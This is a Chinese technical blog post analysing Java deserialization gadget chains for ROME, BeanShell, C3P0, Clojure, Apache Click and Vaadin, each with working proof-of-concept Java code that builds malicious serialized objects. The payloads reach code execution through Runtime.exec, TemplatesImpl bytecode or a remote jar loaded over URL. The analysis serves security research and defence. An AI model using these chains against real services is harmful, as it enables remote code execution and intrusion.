Java 反序列化漏洞(五) - ROME/BeanShell/C3P0/Clojure/Click/Vaadin

ROME

俗话说:条条大路通罗马(All Roads Lead to ROME.),ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。

ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。

前置知识

ObjectBean

com.sun.syndication.feed.impl.ObjectBean 是 Rome 提供的一个封装类型,初始化时提供了一个 Class 类型和一个 Object 对象实例进行封装。

ObjectBean 也是使用委托模式设计的类,其中有三个成员变量,分别是 EqualsBean/ToStringBean/CloneableBean 类,这三个类为 ObjectBean 提供了 equals、toString、clone 以及 hashCode 方法。

来看一下 ObjectBean 的 hashCode 方法,会调用 EqualsBean 的 beanHashCode 方法。

会调用 EqualsBean 中保存的 _obj 的 toString() 方法。

而这个 toString() 方法也就是触发利用链的地方,继 BadAttributeValueExpException 之后的另一个使用 toString() 方法触发利用的链。

ToStringBean

com.sun.syndication.feed.impl.ToStringBean 类从名字可以看出,这个类给对象提供 toString 方法,类中有两个 toString 方法,第一个是无参的方法。获取调用链中上一个类或 _obj 属性中保存对象的类名,并调用第二个 toString 方法。

这个方法会调用 BeanIntrospector.getPropertyDescriptors() 来获取 _beanClass 的全部 getter/setter 方法,然后判断参数长度为 0 的方法使用 _obj 实例进行反射调用,翻译成人话就是会调用所有 getter 方法拿到全部属性值,然后打印出来。

获取 getter/setter 方法的逻辑很清晰。

由此可见,ToStringBean 的 toString() 方法可以触发其中 _obj 实例的全部 getter 方法,可以用来触发 TemplatesImpl 的利用链。

攻击构造

通过上述两个类,我们就可以构造出反序列化利用链了,利用链比较简单,代码如下:

public class Rome {

	public static String fileName = "Rome.bin";

	public static void main(String[] args) throws Exception {

		// 生成包含恶意类字节码的 TemplatesImpl 类
		TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();

		// 使用 TemplatesImpl 初始化被包装类,使其 ToStringBean 也使用 TemplatesImpl 初始化
		ObjectBean delegate = new ObjectBean(Templates.class, tmpl);

		// 使用 ObjectBean 封装这个类,使其在调用 hashCode 时会调用 ObjectBean 的 toString
		// 先封装一个无害的类
		ObjectBean root = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "su18"));

		// 放入 Map 中
		HashMap<Object, Object> map = new HashMap<>();
		map.put(root, "su18");
		map.put("su19", "su20");

		// put 到 map 之后再反射写进去,避免触发漏洞
		Field field = ObjectBean.class.getDeclaredField("_equalsBean");
		field.setAccessible(true);
		field.set(root, new EqualsBean(ObjectBean.class, delegate));

		SerializeUtil.writeObjectToFile(map, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

总结

以上就是 ROME 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • 利用 HashMap 反序列化触发 ObjectBean 的 hashCode 方法,再触发 ObjectBean 封装的 ObjectBean 的 toString 方法,会调用。
  2. Gadget 总结:
    • kick-off gadget:java.util.HashMap#readObject()
    • sink gadget:com.sun.syndication.feed.impl.ToStringBean#toString()
    • chain gadget:com.sun.syndication.feed.impl.ObjectBean#toString()
  3. 调用链展示:
HashMap.readObject()
    ObjectBean.hashCode()
            EqualsBean.beanHashCode()
                ObjectBean.toString()
                    ToStringBean.toString()
                        TemplatesImpl.getOutputProperties()
  1. 依赖版本

rome : 1.0

BeanShell

BeanShell 是一个小型的 , 免费的 , 可嵌入的Java源代码解释器 , 具有使用Java编写的对象脚本语言功能。BeanShell 能够执行标准的 Java 语句和表达式 , 也可以使用通用的脚本语言约定和语法将 Java 扩展到脚本域。

Github地址:https://github.com/beanshell/beanshell
用户文档:https://beanshell.github.io/manual/bshmanual.html

前置知识

Interpreter

bsh.Interpreter 就是将 BeanShell 脚本解释并执行的解释器。

Interpreter 的用法很简单,可以通过 set() 方法来设置变量,然后通过 eval() 方法来解释和执行脚本,解析和设置的变量都会保存在 Interpreter 实例的成员变量 globalNameSpace 中。

bsh.NameSpace 就是一个保存着方法、变量、引入包的命名空间。NameSpace 与一个 Interpreter 实例共同构成了一个 Bsh 脚本对象的上下文。

XThis

bsh.This 是 Bsh 脚本对象类型,一个 This 对象就是一个 Bsh 脚本的对象的上下文,一个 This 对象储存了 NameSpace 和 Interpreter。并提供了一些方法用于操作上下文中的内容:

其中 invokeMethod 方法提供了使用 Java 代码从 Bsh 脚本外部调用方法的功能,如下可弹计算器。

而 XThis 是 bsh.This 对象的子类,在 This 的基础上添加了通用接口代理机制的支持。也就是 InvocationHandler。

XThis 中有一个内部类 Handler,实现了 InvocationHandler 接口并重写了 invoke 方法,调用了 invokeImpl 方法。

invokeImpl 方法特殊处理了 equals 和 toString 方法,调用了 invokeMethod 执行对应的方法,并使用 Primitive.unwrap() 处理返回值。

也就是说,XThis 是一个 Bsh 脚本的对象的代理类,可以在外部通过这个代理类调用 Bsh 脚本的方法。

攻击构造

在简单了解了上面两个类的知识后,就可以开始尝试构造调用链了。

ysoserial 给出的调用链是使用 PriorityQueue 进行触发,然后使用 XThis 中的 Handler 来动态代理 Comparator ,这样在反序列化 PriorityQueue 时会触发 Comparator 的 compare 方法,会调用 XThis 中 Handler 的 invoke 方法去调用,由于这个动态代理类可以调用 Bsh 脚本中的方法,我们可以提前在 XThis 中的 NameSpace 中定义好一个 compare 方法,这样在就能在动态代理中完成调用。

构造代码如下:

public class BeanShell {

	public static String fileName = "BeanShell.bin";

	public static void main(String[] args) throws Exception {

		// compare 函数,需要接受两个参数,返回 Integer 类型
		String func = "compare(Object whatever,Object dontCare) {java.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\");return new Integer(1);}";

		// 将 compare 方法注册至 Interpreter 实例上下文中
		Interpreter i = new Interpreter();
		i.eval(func);

		// 创建 XThis 对象,获取其 invocationHandler
		XThis xt           = new XThis(i.getNameSpace(), i);
		Field handlerField = XThis.class.getDeclaredField("invocationHandler");
		handlerField.setAccessible(true);
		InvocationHandler handler = (InvocationHandler) handlerField.get(xt);

		// 使用 XThis$Handler 为 Comparator 创建动态代理
		Comparator<Object> comparator = (Comparator<Object>) Proxy.newProxyInstance(
				Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

		// 在初始化时不带入 comparator
		PriorityQueue<Object> queue = new PriorityQueue<>(2);
		queue.add("1");
		queue.add("2");

		Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
		field.setAccessible(true);
		field.set(queue, comparator);

		SerializeUtil.writeObjectToFile(queue, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

那其实有了这种思路,其实可以利用 XThis 来实现任意 kick-off 的触发,因为可以使用动态代理执行任何方法。

总结

以上就是 BeanShell 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • 利用 PriorityQueue 反序列化触发 Comparator 的 compare 方法,使用 XThis$Handler 动态代理 Comparator,并在其 Interpreter 内构造带有恶意代码的 compare 方法触发调用。
  2. Gadget 总结:
    • kick-off gadget:java.util.PriorityQueue#readObject()
    • sink gadget:bsh.This#invokeMethod()
    • chain gadget:bsh.XThis$Handler#invokeImpl()
  3. 调用链展示:
PriorityQueue.readObject()
    Comparator.compare()
            XThis$Handler.invoke()
                XThis$Handler.invokeImpl()
                    This.invokeMethod()
                        BshMethod.invoke()
  1. 依赖版本

bsh : 2.0b5 (已修复)

C3P0

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate、Spring等。

关于 C3P0 的使用和关键类的解释在这篇文章中写的很详细,本文就不再现学现卖了。

前置知识

PoolBackedDataSourceBase

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase 本质上也是一个封装对象,其中储存了 PropertyChangeSupport 和 VetoableChangeSupport 对象,用于支持监听器的功能。

这个类在序列化和反序列化时,要保存内部的 ConnectionPoolDataSource 成员变量,如果 connectionPoolDataSource 本身是不可序列化的对象,则使用 ReferenceIndirector 对其进行引用的封装,返回一个可以被序列化的 IndirectlySerialized 实例对象。

其中会调用 ConnectionPoolDataSource 的 getReference 方法返回一个 Reference 对象,并使用 ReferenceSerialized 对象对其封装。

反序列化时,调用其 IndirectlySerialized#getObject() 方法重新生成 ConnectionPoolDataSource 对象。

ReferenceSerialized 的 getObject() 调用 InitialContext#lookup() 方法尝试使用 JNDI 来获取相应的对象,在 contextName、env 均为空的情况化,则调用 ReferenceableUtils.referenceToObject() 使用 Reference 中的信息来获取。

可以看到使用了 URLClassLoader 从 URL 中加载了类并实例化。

这样就可以通过想办法插入恶意 URL 来触发漏洞。

攻击构造

可以看到本条链的调用构造是比较简单的,我们需要构造一个不可序列化的并且实现了 Referenceable 的 ConnectionPoolDataSource 对象,其 getReference() 方法返回带有恶意类位置的 Reference 对象即可。恶意代码如下:

public class C3P0ForHttpBase {

	public static String fileName = "C3P0ForHttpBase.bin";

	private static final class MyPool implements ConnectionPoolDataSource, Referenceable {

		private String className;

		private String url;

		public MyPool(String className, String url) {
			this.className = className;
			this.url = url;
		}

		public Reference getReference() throws NamingException {
			return new Reference("su18", this.className, this.url);
		}

		public PrintWriter getLogWriter() throws SQLException {
			return null;
		}

		public void setLogWriter(PrintWriter out) throws SQLException {
		}

		public void setLoginTimeout(int seconds) throws SQLException {
		}

		public int getLoginTimeout() throws SQLException {
			return 0;
		}

		public Logger getParentLogger() throws SQLFeatureNotSupportedException {
			return null;
		}

		public PooledConnection getPooledConnection() throws SQLException {
			return null;
		}

		public PooledConnection getPooledConnection(String user, String password) throws SQLException {
			return null;
		}

	}

	public static void main(String[] args) throws Exception {

		PoolBackedDataSource     p    = (PoolBackedDataSource) SerializeUtil.createInstanceUnsafely(PoolBackedDataSource.class);
		ConnectionPoolDataSource pool = new MyPool("org.su18.serializable.PureEvilClass", "http://localhost:9999/1.jar");

		Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
		field.setAccessible(true);
		field.set(p, pool);

		SerializeUtil.writeObjectToFile(p, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

除了 ysoserial 提供的这条利用链之外,李三师傅还分享了两个其他的 C3P0 利用方式,分别是使用 JndiRefForwardingDataSource/WrapperConnectionPoolDataSource 的 setter 方法触发 JNDI 查询/Hex 类字节码加载的方式,在 fastjson/jackson 中可以利用。

总结

以上就是 C3P0 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • 反序列化 PoolBackedDataSourceBase 时会处理其中的 ConnectionPoolDataSource,其中会触发 JNDI 查询或 URLClassLoader 加载指定的 jar 文件中的类,在本条利用链中是利用了后者。
  2. Gadget 总结:
    • kick-off gadget:com.mchange.v2.c3p0.impl.BackedDataSourceBase#readObject()
    • sink gadget:java.net.URLClassLoader#loadClass()
    • chain gadget:com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized#getObject()
  3. 调用链展示:
PoolBackedDataSourceBase.readObject()
    ReferenceIndirector.getObject()
        ReferenceableUtils.referenceToObject()
            Class.forName0()
                URLClassLoader.loadClass()
  1. 依赖版本

c3p0 : 0.9.5.2

Clojure

Clojure 是一种运行在 Java 平台上的 Lisp 方言,Lisp 是一种以表达性和功能强大著称的编程语言。

类比 Groovy 和 BeanShell,Clojure 又是一条在 Java 上解析和执行的新的一种编程语言的利用链。

这个漏洞的作者是 JackOfMostTrades,是 gadgetinspector 的作者,并且在其 2018 年 blackhat 上议题的 PPT 中以此链为例子进行了自动化挖掘的描述。

也就是说,这条链是非人工挖掘出来的利用链。

前置知识

clojure.java.shell.sh

clojure 提供了封装的执行命令方法,位于 clojure.java.shell 下的 sh 函数:

可以看到是调用了 Java 的 Runtime.getRuntime().exec() 来执行系统命令。使用 clojure 执行系统命令的写法为:

(use '[clojure.java.shell :only [sh]])
(sh"open" "-a" "Calculator.app")

也可以直接调用 Java 的方法,写为:

(import 'java.lang.Runtime)
(. (Runtime/getRuntime) exec"open -a Calculator.app")

clojure 的其他写法这里就不描述了。

Compiler.eval

想要在 Java 中解析和执行 Clojure 代码,肯定是要有类似 eval 的解析处理函数。那就是 clojure.core 中的 eval 方法。

实际调用 clojure.lang.Compiler#eval(java.lang.Object, boolean)。这个函数将会解析和调用传入的对象,通常是 PersistentList 对象。

我们可以仿照程序逻辑自己写一些调用代码:

main$eval_opt

了解了 eval 的执行实现后,接下来找 sink 点。

main$eval_opt.invokeStatic 方法会调用 clojure.core$eval.invokeStatic() 方法。

后续调用 Compiler.eval() 触发解析。

那直接这样写就可以弹计算器了:

String payload = "(use '[clojure.java.shell :only [sh]])(sh\"open\" \"-a\" \"Calculator.app\")";
main$eval_opt.invokeStatic(payload);

AbstractTableModel$ff19274a

接下来关注一下反序列化漏洞的触发,AbstractTableModel$ff19274a 这个类也是一个封装引用类,这个类有一个成员变量 __clojureFnMap,是一个 IPersistentMap 类型的对象。调用 AbstractTableModel$ff19274a 的很多方法,都是在 IPersistentMap 中寻找储存的对象,并调用其 invoke 方法进行执行的。

而 IPersistentMap 可能是 clojure 封装的 Map/Method/Field/Constructor 等对象。对于 Map 类型的对象,可以使用 PersistentArrayMap.create() 方法来封装。

那么就可以使用这个类作为 hashCode/toString 触发点的后续,调用储存对象的 invoke 方法,而 clojure 里的类又几乎都有 invoke 方法。只需要找到合适的触发链。

core$comp$fn__4727

core$comp$fn__4727 类初始化时储存了两个对象

在调用其 invoke 方法时,会 this.g 的 invoke 方法,并将结果给 this.f 的 invoke 方法。

实际上这个类是整条调用链的关键,我们只需要让 this.g 是 main$eval_opt 类,this.f 的 invoke 方法返回待解析的恶意 payload。

core$constantly$fn__4614

core$constantly$fn__4614 将构造函数的对象传入 this.x 中,在调用 doInvoke 方法时返回,而由于其 getRequiredArity() 方法也返回 0,因此调用其 invoke 方法时,也会返回 this.x 中储存的对象。

因此我们使用这个类来保存待解析的 payload 字符串,在调用这个类的 invoke 方法时即可返回 payload。

攻击构造

这里尝试了使用 HashMap 和 BadAttributeValueExpException 两种触发方式均可,最终的攻击代码为:

public class Clojure {

	public static String fileName = "Clojure.bin";

	public static void main(String[] args) throws Exception {

		// 执行系统命令的两种写法,本质都是使用 java.lang.Runtime 类
		String payload1 = "(import 'java.lang.Runtime)\n" +
				"(. (Runtime/getRuntime) exec\"open -a Calculator.app\")";

		String payload2 = "(use '[clojure.java.shell :only [sh]])\n" +
				"(sh\"open\" \"-a\" \"Calculator.app\")";

		// 初始化 AbstractTableModel$ff19274a 对象
		AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();

		HashMap<Object, Object> map = new HashMap<>();

		// 使用 core$constantly$fn__4614 保存 payload 对象,调用其 invoke 方法时会返回 payload
		core$constantly$fn__4614 core1 = new core$constantly$fn__4614(payload2);
		// 将 core$constantly$fn__4614 和 main$eval_opt 保存在 core$comp$fn__4727 中
		core$comp$fn__4727 core2 = new core$comp$fn__4727(core1, new clojure.main$eval_opt());


		// 将 hashCode 与 core$comp$fn__4727 进行映射
		map.put("hashCode", core2);
		model.__initClojureFnMappings(PersistentArrayMap.create(map));

		// 使用 HashMap hashCode 触发
//		HashMap<Object, Object> hashMap = new HashMap<>();
//		hashMap.put(model,"su18");
//		hashMap.put("su19","su20");
//		SerializeUtil.writeObjectToFile(hashMap, fileName);

		// 实例化 BadAttributeValueExpException 并反射写入
		BadAttributeValueExpException exception = new BadAttributeValueExpException("su18");
		Field                         field     = BadAttributeValueExpException.class.getDeclaredField("val");
		field.setAccessible(true);
		field.set(exception, model);

		// 使用 BadAttributeValueExpException toString 触发,还是会调用 hashCode 方法
		SerializeUtil.writeObjectToFile(exception, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

总结

以上就是 Clojure 链分析的全部内容了,通过包的类名、方法调用,可以发现这确实不是一般人类能手工挖出来的利用链。最后总结一下。

  1. 利用说明:
    • 利用 HashMap/BadAttributeValueExpException 来触发 AbstractTableModel$ff19274a 的 hashCode/toString 方法,调用其成员变量中保存的 clojure.core$comp$fn__4727 的 invoke 方法,会调用 clojure.core$constantly$fn__4614 的 invoke 方法触发 clojure.main$eval_opt 解析带有恶意的代码 Clojure 代码,造成漏洞。
  2. Gadget 总结:
    • kick-off gadget:java.util.HashMap#readObject()
    • sink gadget:clojure.main$eval_opt#invoke()
    • chain gadget:clojure.core$comp$fn__4727#invoke()
  3. 调用链展示:
HashMap.readObject()
    AbstractTableModel$ff19274a.hashCode()
        clojure.core$comp$fn__4727.invoke()
            clojure.core$constantly$fn__4614.invoke()
                clojure.main$eval_opt.invoke()
                    clojure.core$eval.invokeStatic()
                        Compiler.eval()
  1. 依赖版本

clojure > 1.2.0

Click1

Apache Click 是一个 JEE Web 框架,据官方网站介绍,开发者一天就可以上手跑起服务。

但是用的人并不多,所以这里也主要关注利用点的相关知识。

前置知识

PropertyUtils

click 中有一个工具类 org.apache.click.util.PropertyUtils,用来操作属性,其中有一个 getValue 方法用来获取某个对象中某个属性的值。

方法处理完 name 之后将会调用 getObjectPropertyValue 方法,传入对象实例、属性名和方法缓存三个参数。

可以看到在 getObjectPropertyValue 方法中,是获取了传入对象实例中指定属性名的 getter 方法,然后通过反射调用。

也就是说,PropertyUtils 的 getValue 方法会触发指定属性的 getter 方法,可以用来触发 TemplatesImpl 利用方式。

ColumnComparator

org.apache.click.control.Column 用来提供表格中 <td>/<th> 的一些属性的渲染。Column 类实现了 Serializable 接口,可以被反序列化。

在 Column 中定义了一个内部类 ColumnComparator,实现了 Comparator 接口,用来比较一个 Column 中的两个 row。

比较时会调用 this.column 的 getProperty 方法。

在 row 不是 map 类型的情况下,这个方法会调用到 PropertyUtils 的 getValue 方法获取值。

攻击构造

有了上面两个类,就可以构造出从 PriorityQueue 到 TemplatesImpl 的利用链了。攻击代码如下:

public class Click {

	public static String fileName = "Click.bin";

	public static void main(String[] args) throws Exception {

		// 生成包含恶意类字节码的 TemplatesImpl 类
		TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();

		// 初始化 PriorityQueue
		PriorityQueue<Object> queue = new PriorityQueue<>(2);
		queue.add("su18");
		queue.add("su19");

		// 反射将 TemplatesImpl 放在 PriorityQueue 里
		Field field = PriorityQueue.class.getDeclaredField("queue");
		field.setAccessible(true);
		Object[] objects = (Object[]) field.get(queue);
		objects[0] = tmpl;

		Class<?>       c           = Class.forName("org.apache.click.control.Column$ColumnComparator");
		Constructor<?> constructor = c.getDeclaredConstructor(Column.class);
		constructor.setAccessible(true);

		Column column = new Column("outputProperties");
		// 为了避免反序列化比较时的空指针,为 column 设置一个 Table 属性
		column.setTable(new Table());
		Comparator<?> comparator = (Comparator<?>) constructor.newInstance(column);

		// 反射将 BeanComparator 写入 PriorityQueue 中
		Field field2 = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
		field2.setAccessible(true);
		field2.set(queue, comparator);

		SerializeUtil.writeObjectToFile(queue, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

总结

以上就是 Click 链分析的全部内容了,可以看到触发方式与 CB 链极其类似,都是使用 Comparator 触发属性的 getter 方法。最后总结一下。

  1. 利用说明:
    • PriorityQueue 反序列化触发 Column$ColumnComparator 类的 compare 方法,会调用 PropertyUtils 的 getValue 方法获取属性值,使用了的是反射调用 getter 方法,触发 TemplatesImpl 利用链。
  2. Gadget 总结:
    • kick-off gadget:java.util.PriorityQueue#readObject()
    • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties()
    • chain gadget:org.apache.click.control.Column$ColumnComparator#compare()
  3. 调用链展示:
PriorityQueue.readObject()
    Column$ColumnComparator.compare()
        Column.getProperty()
            PropertyUtils.getValue()
                PropertyUtils.getObjectPropertyValue()
                    TemplatesImpl.getOutputProperties()
  1. 依赖版本

click-nodeps : 2.3.0

Vaadin1

Vaadin 是一个在Java后端快速开发web应用程序的平台。用 Java 或 TypeScript 构建可伸缩的 UI,并使用集成的工具、组件和设计系统来更快地迭代、更好地设计和简化开发过程。

又是一个没有听说过的平台框架。Vaadin 的反序列化调用链同样十分简单,依旧是使用反射调用 getter 方法的类来触发 TemplatesImpl 利用链,接下来看一下具体的调用点。

前置知识

NestedMethodProperty

com.vaadin.data.util.NestedMethodProperty 类是一个封装访问属性方法的类。构造方法接收两个参数,一个是对象实例,一个是属性值。初始化时将调用 initialize 方法获取实例类中的相关信息存放在成员变量中。

等到调用 NestedMethodProperty 的 getValue 方法时,就会反射调用封装对象指定属性的 getter 方法。

因此这个类又是可以触发 TemplatesImpl 的利用方式。

PropertysetItem

触发类是 com.vaadin.data.util.PropertysetItem ,这个类用来存储 Property 属性值,为其映射一个 id 对象。

数据存放在成员变量 map 中,想要获取相应属性时,则调用 getItemProperty 方法在 map 中获取。

映射的 id 对象则储存在成员变量 list 中。

PropertysetItem 的 toString 方法,获取全部 id 对象并遍历,使用 getItemProperty 方法获取映射的 Property 属性对象,并调用其 getValue 方法。

因此可以使用 PropertysetItem 的 toString 方法触发 NestedMethodProperty 的 getValue 方法。完成漏洞链的构造。

攻击构造

代码:

public class Vaadin {

	public static void main(String[] args) throws Exception {

		// 生成包含恶意类字节码的 TemplatesImpl 类
		TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();

		PropertysetItem pItem = new PropertysetItem();

		NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object>(tmpl, "outputProperties");
		pItem.addItemProperty("outputProperties", nmprop);

		// 实例化 BadAttributeValueExpException 并反射写入
		BadAttributeValueExpException exception = new BadAttributeValueExpException("su18");
		Field                         field     = BadAttributeValueExpException.class.getDeclaredField("val");
		field.setAccessible(true);
		field.set(exception, pItem);

		SerializeUtil.writeObjectToFile(exception);
		SerializeUtil.readFileObject();
	}
}

总结

以上就是 Vaadin 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • 反序列化 BadAttributeValueExpException 触发 PropertysetItem 的 toString 方法 调用到 NestedMethodProperty 的 getValue 方法。
  2. Gadget 总结:
    • kick-off gadget:javax.management.BadAttributeValueExpException#readObject()
    • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties()
    • chain gadget:com.vaadin.data.util.NestedMethodProperty#getValue()
  3. 调用链展示:
BadAttributeValueExpException.readObject()
    PropertysetItem.toString()
            PropertysetItem.getPropertyId()
                NestedMethodProperty.getValue()
                    TemplatesImpl.getObjectPropertyValue()
  1. 依赖版本

vaadin-server : 7.7.14
vaadin-shared : 7.7.14